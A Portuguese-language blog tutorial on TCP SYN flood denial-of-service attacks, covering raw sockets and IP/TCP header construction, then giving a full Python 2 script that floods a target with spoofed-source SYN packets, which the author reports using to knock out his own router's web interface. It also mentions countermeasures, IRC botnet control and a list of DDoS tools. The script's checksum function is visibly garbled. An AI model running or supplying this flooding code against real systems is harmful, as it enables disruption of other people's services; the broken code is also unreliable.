ATAQUE DoS – MODALIDADE: TCP SYN FLOOD

Qualquer protocolo de rede pode ser definido através do modelo OSI de 7 camadas. O OSI 7 Layer Model tem funções bem definidas para cada uma das camadas, da camada de aplicativos à camada física, permitindo que dispositivos de rede reais também sejam padronizados com base nesta pilha de protocolos OSI. Embora os protocolos de rede, situados nas camadas de baixo nível, sejam logicamente projetados para enviar e receber com segurança vários tipos de dados, sempre haverá um hacker procurando identificar algum ponto vulnerável nestas funções de comunicação.

As técnicas de hacking que exploram as características dos protocolos de rede podem ser classificadas em cinco categorias:

1) Foot Printing é a primeira. É usada para determinar o tipo de serviço suportado pelo sistema operacional ou servidor e obter informações de portas abertas através de consultas DNS, ping, varredura de portas e assim por diante.

2) Sniffing é uma tecnologia que pode ser usada para roubar informações contidas nos pacotes que circulam na rede. É amplamente utilizada em intranets devido às vulnerabilidades inerentes ao protocolo Ethernet. Já abordei este tema em Sniffers

3) Spoofing é uma técnica que intercepta pacotes durante a comunicação disfarçando o atacante, que usa o endereço do servidor. Um disfarce comum envolve a alteração do endereço MAC ou endereço IP. Já abordei este tema em Ataque por ARP Spoofing

4) O Session  Hijacking (Sequestro de Sessão) consiste em interceptar e falsificar informações durante uma sessão de autenticação entre um cliente e um servidor, e essa técnica é usada para enviar e receber comunicação com o servidor sem autenticação.

5) Denial of Service (DoS) é uma das técnicas de ataque mais utilizadas para paralisar as funções de um alvo. Uma forma de realizar isso é gerar um pacote normal em massa e outro é explorar a vulnerabilidade dos protocolos ICMP e HTTP. Uma grande quantidade de pacotes é transferida pela Internet e, portanto, está entre os ataques mais difíceis de detectar e bloquear.

Para conhecer os conceitos básicos de invasão de rede, é preciso ter conhecimentos, basicamente, sobre Modelo OSI, Port  Scanning (Varredura de Portas), Sniffing de Pacotes (Packet  Sniffing) e DoS  Attack (Ataque de Negação de Serviços).

Neste Post, vou abordar os conceitos da técnica de ataque DoS, que explora as vulnerabilidades de segurança no processo de estabelecer uma conexão TCP ao enviar, repetidamente, pacotes SYN até que o servidor esgote todos os buffers disponíveis e entre em um estado de Negação de Serviço (DoS). Esta técnica, conhecida como TCP SYN Flood, exige conhecimentos além do básico citado no parágrafo acima; o conceito de Socket (Soquete) e a aplicação do RAW_SOCKET, em Python, para manipular, determinar, os bits do Cabeçalho e Payload  nos protocolos de camada de Link de Dados (Ethernet), Camada de Rede (IPv4) e, para ir mais profundo (não vou agora),  Camada de Transporte (ICMP e protocolos de roteamento).

É óbvio que eu não posso, em um Post de um blog, explicar isso tudo em detalhes, mas vou tentar dar as coordenadas para que os interessados possam pesquisar. A final, um hacker deve saber programar, se o leitor ainda não sabe eu aconselho começar com C, e depois C++ e Python. C é uma linguagem muito mais simples (não mais fácil, mais simples) que C ++, e C ++ é (não estritamente) um “superconjunto” de C, o que significa que quase todos os conceitos aprendidos em C são diretamente compatíveis com C++.

Mas vamos ao assunto; um passo de cada vez.

O QUE É RAW SOCKET

Um raw socket é um soquete de rede que permite o envio e o recebimento de pacotes IP sem qualquer formatação específica do protocolo da camada de transporte.

O termo socket faz analogia com os conectores fêmeas físicos situados em dois nós de comunicação interligados através de um cabo com dois conectores machos, um em cada extremidade. No entanto, esta analogia é apenas para uma visualização básica, pois a comunicação em rede não precisa ser um-para-um ou ter um canal de comunicação dedicado.

NÓ_1-< <—–cabo—–>>-NÓ_2

Um dispositivo pode ter apenas uma conexão física de rede, mas com o uso de vários soquetes pode-se usar esta conexão física para várias conexões lógicas simultâneas.

Em cada uma das camadas OSI, os pacotes têm duas seções distintas: Overhead (Cabeçalho) e Payload (Carga Útil)

Um non-Raw socket (soquete não-bruto) é o socket usado para determinar apenas a carga (payload) da camada de transporte. Ou seja, o sistema operacional fica encarregado de criar os cabeçalhos das camada de transporte, rede e link de dados.

O Raw Socket (Soquete Bruto) é o socket que vou usar neste Post. Com este socket podemos determinar o conteúdo de cada seção do pacote, cabeçalho e/ou carga útil. Note que Raw Socket é um designação geral, eu gosto de classificar o Raw Socket em: soquete de rede e soquete de link de dados (ou, alternativamente, socket L3 e socket L2)

No socket L3 podemos determinar o cabeçalho e a carga útil do pacote na camada de rede. Por exemplo, se o protocolo da camada de rede for IPv4, podemos determinar o cabeçalho e a carga útil do IPv4. Da mesma forma, podemos definir cabeçalho/carga útil da camada de transporte, cabeçalho/carga útil do ICMP, cabeçalho/carga de protocolos de roteamento.

No socket L2 podemos ajustar o cabeçalho e o payload do pacote na camada de enlace de dados, isto é, tudo no pacote. Assim, fazemos tudo com Socket L3  + determinar cabeçalho/payload ARP, cabeçalho/payload PPP, cabeçalho/payload PPPOE, ….

Também podemos usar o SOCK_RAW com o “Packet Sockets“, o que permitirá o controle total sobre as camadas L2 e L3, para renderizar completamente o pacote.

Agora na programação:

socket (AF_INET, RAW_SOCKET, …) significa soquete L3, protocolo de camada de rede = IPv4

socket (AF_IPX, RAW_SOCKET, …) significa soquete L3, protocolo de camada de rede = IPX

socket (AF_INET6, RAW_SOCKET, …) significa soquete L3, protocolo de camada de rede = IPv6

socket (AF_PACKET, RAW_SOCKET, …) significa soquete L2, protocolo de camada de link de dados = Ethernet. O terceiro parâmetro especifica o protocolo de carga útil.

DoS com TCP SYN Flood

Essa técnica explora vulnerabilidades de segurança no processo de estabelecer uma conexão TCP. Quando o cliente envia um pacote SYN para o servidor, o servidor envia um pacote SYN/ACK para o cliente. Finalmente, o cliente estabelece uma conexão com o servidor enviando um pacote ACK. Se o cliente não enviar um pacote ACK ao servidor no final da etapa, o servidor aguardará no estado SYN Received. Quando esse processo é repetido, o servidor esgotará todos os buffers disponíveis e entrará em um estado de negação de serviço.

Figure  2-48.png

O conceito básico do TCP SYN Flood

O TCP conduz o estabelecimento de uma conexão por meio de um handshake de 3 vias. Primeiro, o cliente solicita uma configuração de conexão enviando um pacote SYN ao servidor, e o servidor responde enviando um pacote SYN/ACK ao cliente. Finalmente, o cliente envia o pacote ACK e a conexão é estabelecida. Aqui, há um tipo de vulnerabilidade de segurança em que o servidor aloca recursos do sistema quando recebe um pacote SYN. O sistema mantém um registro das solicitações de conexão na fila de pendências (buffer) e, quando essa fila está cheia, não pode receber mais solicitações. Os ataques TCP SYN Flood transmitem um grande número de pacotes SYN, impossibilitando a operação do alvo devido à inundação (flood) da fila de pendências.

Definição de cabeçalhos IP e TCP

Em uma comunicação típica de socket, o kernel especifica automaticamente as configurações de IP e TCP. No entanto, para transferir apenas o pacote SYN usando o raw socket, um programador deve gerar manualmente o cabeçalho. Para usar as funções da linguagem C no Python, o Header (cabeçalho) deve ter a mesma forma usada em C. Primeiro, vamos ver a estrutura do cabeçalho IP.

Figure  2-59.png

IP  Header

O cabeçalho IP é composto por um total de 20 bytes: dos de “Version” (Versão) até os de “Destination Address” (Endereço de Destino). A versão é 4, o que indica que o IPv4 está sendo usado. “IHL” indica o comprimento do cabeçalho completo, onde a unidade de 32 bits é inserida, 5 significa 20 bytes. “Identification” (Identificação) incorpora um valor arbitrário. Os valores “Flags” e “Fragment Offset” são, ambos, definidos como 0. “Time to Live” é definido para o valor máximo de 255, suportado pela rede. “Protocol” (Protocolo) é definido como “socket.IPPROTO_TCP”. O kernel definirá o “Total Length” (Comprimento Total) e o “Header Checksum” (Soma de Verificação do Cabeçalho).

Figure 2-60.png

Agora vamos definir o cabeçalho TCP. As configurações de IP especificam o endereço e as configurações de TCP especificam a porta usada para comunicação. O tipo de pacotes TCP é definido usando o valor “Flags”, e o ataque SYN Flood é conduzido de tal forma que somente o pacote SYN é enviado em massa, SYN é definido como 1 e o restante é especificado como 0.

Figure 2-61.png

TCP Header

Source Port” é definido como um valor aleatório e “Destination Port” é definido para a porta de destino 80. “Sequence Number” e “Acknowledgment Number” são definidos para qualquer valor. “DataOffset” indica os locais onde o cabeçalho termina. Como ele é usado com unidades de 32 bits, a atribuição do valor “5” indica que o cabeçalho tem um comprimento de 20 bytes. O valor para o “Flag” é definido para o item “SYN” de apenas 1. “Window” é definido como 5840, que é o tamanho máximo permitido pelo protocolo. “Checksum” é ajustado automaticamente pelo kernel quando da transmissão do pacote.

Figure 2-62

Para definir o cabeçalho IP e o cabeçalho TCP, os caracteres usados no Python devem ser convertidos para uma estrutura de linguagem C. O Python usa a função “pack” fornecida pelo módulo “struct”, que pode facilmente implementar a conversão.

O módulo python socket fornece uma variedade de funções. As funções mais básicas envolvem a transmissão de dados após a conexão ter sido estabelecida. No protocolo TCP, os dados serão transmitidos após o término do handshake de 3 vias. Para o ataque “TCP SYN Flood”, os dados devem ser enviados antes que a conexão de comunicação tenha sido estabelecida. Portanto, é necessário usar outros tipos de funções.

1 #!/data/data/com.termux/files/usr/bin/python2
2
3 # coding=<UTF-8>
4 # Code Reference From  http://www.binarytides.com/python-syn-flood-program-raw-sockets-linux/
5 import socket, sys
6 from struct import *
7
8 def makeChecksum(msg):               #(1)
9     s = 0
10    for i in range(0, len(msg), 2):
11        w = (ord(msg[i]) <>16) + (s & 0xffff);
14    s = ~s & 0xffff
15    return s
16
17def makeIPHeader(sourceIP, destIP):     #(2)
18    version = 4
19    ihl = 5
20    typeOfService = 0
21    totalLength = 20+20
22    id = 999
23    flagsOffSet = 0
24    ttl =  255
25    protocol = socket.IPPROTO_TCP
26    headerChecksum = 0
27    sourceAddress = socket.inet_aton ( sourceIP )
28    destinationAddress = socket.inet_aton ( destIP )
29    ihlVersion = (version << 4) + ihl
30    return pack('!BBHHHBBH4s4s', ihlVersion, typeOfService, totalLength,
31id, flagsOffSet, ttl, protocol, headerChecksum, sourceAddress, destinationAddress)    #(3)
32
33def makeTCPHeader(port, icheckSum="none"):   #(4)
34    sourcePort = port
35    destinationAddressPort = 80
36    SeqNumber = 0
37    AckNumber = 0
38    dataOffset = 5
39    flagFin = 0
40    flagSyn = 1
41    flagRst = 0
42    flagPsh = 0
43    flagAck = 0
44    flagUrg = 0
45
46    window = socket.htons (5840)
47
48    if(icheckSum == "none"):
49        checksum = 0
50    else:
51        checksum = icheckSum
52    urgentPointer = 0
53    dataOffsetResv = (dataOffset << 4) + 0
54    flags = (flagUrg << 5)+ (flagAck << 4) + (flagPsh <<3)+ (flagRst << 2) + (flagSyn << 1) + flagFin
55    return pack('!HHLLBBHHH', sourcePort, destinationAddressPort,
56SeqNumber, AckNumber, dataOffsetResv, flags, window, checksum, urgentPointer)        #(5)
57
58s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)         #(6)
59s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) #(7)
60
61for j in range(1,20):           #(8)
62    for k in range(1,255):
63        for l in range(1,255):
64            sourceIP = "192.168.%s.%s"%(k,l)    #(9)
65            destIP = "192.168.25.1"
66            ipHeader  = makeIPHeader(sourceIP, destIP) #(10)
67            tcpHeader = makeTCPHeader(10000+j+k+l) #(11)
68               
69            sourceAddr = socket.inet_aton( sourceIP )  #(12)
70            destAddr = socket.inet_aton(destIP)
71               
72            placeholder = 0
73            protocol = socket.IPPROTO_TCP
74            tcpLen = len(tcpHeader)
75            psh = pack('!4s4sBBH', sourceAddr, destAddr,
76placeholder, protocol, tcpLen);
77            psh = psh + tcpHeader;
78            tcpChecksum = makeChecksum(psh)   #(13)
79
80            tcpHeader = makeTCPHeader(10000+j+k+l,tcpChecksum)  #(14)
81
82
83            packet = ipHeader + tcpHeader
84            s.sendto(packet, (destIP , 0 ))     #(15)

Os comentários sobre este código são os seguintes.

Linha 1 – Shebang para uso no Termux

#(1) Declara a Função de Cálculo da Soma de Verificação do TCP: Calcula a checksum TCP dos dados transmitidos. O mesmo cálculo é executado na recepção, e o resultado é comparado para garantir a integridade dos dados.

#(2) Declara a IP Header Generating Function (Função de Geração de Cabeçalho de IP): Gera o Cabeçalho de IP, como descrito anteriormente.

#(3) Cria a TCP Header Structure (estrutura de cabeçalho IP): Usa a função “pack” para converter o formato da estrutura usada na linguagem C.

#(4) Declara a TCP Header Generating Function (Função de Geração de Cabeçalhos TCP): Gera o Cabeçalho TCP, conforme descrito anteriormente.

#(5) Cria estrutura de cabeçalho TCP: Usa a função “pack” para converter o formato da estrutura usada na linguagem C.

#(6) Cria um raw socket (soquete bruto): Cria um objeto de soquete que suporta a funcionalidade de gerar arbitrariamente um cabeçalho IP e uma região TCP. O uso do raw socket exige privilégios de administrador.

#(7) Configura as opções do Soquete: Ajusta as opções do soquete para permitir que o desenvolvedor (não o kernel!)  gere um cabeçalho IP.

#(8) Loop: Um loop para enviar um grande número de pacotes SYN.

#(9) Configura o IP: Especifica o IP do remetente e o IP do destinatário. Por conveniência durante um teste, gosto de mudar, a cada vez, o IP do remetente. O IP do destinatário pode ser definido da mesma maneira que “socket.gethostbyname (‘server’)”.

#(10) Cria o cabeçalho IP: Esta função é chamada para criar um cabeçalho IP e retorná-lo usando a estrutura da linguagem C.

#(11) Cria o cabeçalho TCP: Chama a função de geração de cabeçalho TCP. Primeiro, cria um pseudo cabeçalho TCP para obter o checksum TCP. Para o número da porta, use uma maior do que 10000. 10000 ou mais portas podem ser usadas sem configurações separadas.

#(12) Transforma a estrutura do IP: Converte os dados da string para a estrutura “in_addr” usando a função “inet_aton”.

#(13) Cálculo do checksum do TCP: Chama a função para calcular o checksum do TCP

#(14) Gera Cabeçalhos IP: Configura o checksum TCP para gerar o TCP real.

#(15) Transmite os Pacotes: Ao configurar o cabeçalho IP e o cabeçalho TCP, envia um pacote TCP SYN. O método “sendto” suporta a transferência de um pacote do um remetente antes que a configuração da conexão seja concluída.

observação

Para um ataque TCP SYN Flood, usando um socket raw é necessário chamar o método “sendto” para o raw socket. O Windows impede que o método “sendto” seja invocado para o protocolo TCP por razões de segurança, os PCs frequentemente se tornam zumbis e são usados para ataques DDoS. O Linux permite invocar o protocolo TCP usando o método “sendto”. Simplesmente instale o Linux no Virtual box para testar o ataque TCP SYN Flood.

Outra opção, que uso aqui, é instalar o Python no Termux  e disparar o ataque a partir do meu dispositivo Android.

Como eu adoro o Termux, um emulador de terminal Android e aplicativo de ambiente Linux, que tenho instalado no meu smartphone rooteado (como já falei, raw socket exige privilégios de administrador!); Instalei python v 2.7.15 e executei o script contra o gateway (modem/roteador, conforme a linha 65 do script: destIP = “192.168.25.1”) da minha LAN, com sucesso! Ficou impossível acessar o Serviço HTTP do modem (um mini-servidor web embarcado, que disponibiliza um conjunto de páginas web com as opções de configurações do modem/roteador).

Com o sniffer Wicap pude verificar o envio dos pacotes SYN, como mostra o print a seguir.

fig termux-tsf

Termux screenshot

Scrshot_wicap-tsf.png

Wicap screenshot

Como o ataque TCP SYN Flood faz com que o alvo entre em negação de serviço devido ao transbordamento da fila de pendências, um aumento da capacidade de tal recurso pode ser uma contramedida. Outro método envolve o uso de “syncookies” para atribuir recursos ao sistema após o término do handshake de 3 vias. É possível bloquear os ataques do roteador ou firewall usando um modo de interceptação e um modo de inspeção. No modo interceptador, o roteador recebe o pacote SYN do cliente e, após a conexão com o cliente ter sido estabelecida, o roteador faz uma conexão entre o cliente e o servidor. No modo de inspeção, o roteador monitora o estado da conexão e, se a conexão não tiver sido estabelecida por um período de tempo predeterminado, a conexão será encerrada.

A taxa de sucesso deste método aumenta quando o número de hosts usados para o ataque DoS aumenta. Os hackers podem infectar vários PCs com códigos maliciosos – formando as chamadas botnets – para uso como hosts para um ataque distribuído, o DDoS (Distributed Denial of Service), enviando comandos de ataque para PCs infectados com um malware específico. Se o DDoS for combinado com outras técnicas que visam serviços regulares, como o HTTP Flooding, o ataque pode se tornar muito poderoso e pode ser difícil de bloquear.

Uso do mIRC para botnets

O IRC, por exemplo, é um meio popularmente usado pelos proprietários de botnets para enviar comandos para os computadores em uma botnet. Isso é feito em um canal específico, em uma rede pública de IRC ou em um servidor de IRC separado. O servidor de IRC contendo o(s) canal(is) usado(s) para controlar bots é chamado de “comando e controle”, C&C, ou servidor C2.

É óbvio que não se pode esperar algum sucesso ao aplicar na prática, contra um servidor profissional, o script apresentado neste Post. Como foi mencionado anteriormente, o código usado possibilitou uma explicação didática dos conceitos. A verdade é que, para um “Tango Down” eficaz, existem várias ferramentas já prontas e em pleno uso. Um paper publicado na “2015 International Conference on Green Computing and Internet of Things (ICGCIoT)” contém uma tabela comparando 53 ferramentas para ataque DDoS: Ano da ferramenta, Nome da ferramenta (Origem para download), Impacto no alvo, Tipo do ataque, Sistema operacional suportado, Número de zumbis, Se faz botnets, Se contempla Criptografia, Se Ip Spoofing, Linguagem de Implementação e Modelo de Arquitetura de Interface. Tem ferramentas para todos os gostos, vale à pena conferir.

Anúncios

1 comentário

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s